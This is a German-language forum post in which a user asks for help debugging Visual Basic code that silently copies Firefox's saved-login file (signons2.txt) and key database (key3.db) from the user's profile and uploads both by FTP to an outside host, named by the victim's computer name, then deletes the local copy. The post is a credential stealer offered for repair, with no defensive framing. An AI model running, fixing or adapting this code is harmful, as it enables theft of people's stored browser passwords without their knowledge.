|
| Autor |
Nachricht |
the_gam3r_
Coder
Anmeldedatum: 09.02.2008
Beiträge: 89
|
2 Dateien Uploaden
Verfasst am: 07.05.2009, 15:41 |
|
|
hi,
bei diesem code wird die key3.db mit der sig2 überschreieben.. weis jemadnw wieso ?
| Code: | Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim no7 As String
Dim no6 As String
Dim ProfileName As String
Dim Useless As String
Dim localfile As String
Dim remotefile As String
Dim complete As String
Dim localfile2 As String
Dim remotefile2 As String
Dim complete2 As String
FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"
Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, no7
Close #1 '
ProfileName = Mid(no7, 15)
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName
complete = ProfilePath & "\signons2.txt"
complete2 = ProfilePath & "\key3.db"
Open complete For Input As #1 'fetisch ?
Do While Not EOF(1)
zeile = ""
Line Input #1, zeile
List1.AddItem zeile
Open Environ("SystemDrive") & "\signons2.txt" For Output As #2
For i = 1 To List1.ListCount - 1
Print #2, List1.List(i)
Next
Close #2
Loop
Close #1
Open complete2 For Input As #3
Do While Not EOF(3)
zeile = ""
Line Input #3, zeile
List2.AddItem zeile
Open Environ("SystemDrive") & "\key3.db" For Output As #4
For i = 1 To List1.ListCount - 1
Print #4, List1.List(i)
Next
Close #4
Loop
Close #3
localfile = Environ("SystemDrive") & "\signons2.txt"
remotefile = Environ("computername") & "-" & "signons2.txt"
localfile2 = Environ("SystemDrive") & "\key3.db"
remotefile2 = Environ("computername") & "-" & "key3.db"
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "sldc.sl.funpic.de"
.UserName = "sldc"
.Password = "pw"
.Execute , "PUT " & localfile & " " & remotefile
Do While Inet1.StillExecuting = True
DoEvents
Loop
With Inet2
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "sldc.sl.funpic.de"
.UserName = "sldc"
.Password = "pw"
.Execute , "PUT " & localfile2 & " " & remotefile2
Do While Inet2.StillExecuting = True
DoEvents
Loop
Kill localfile
End With
End With
End
End Sub
|
|
|
| |
|
 |
|
|
Registrieren
Login
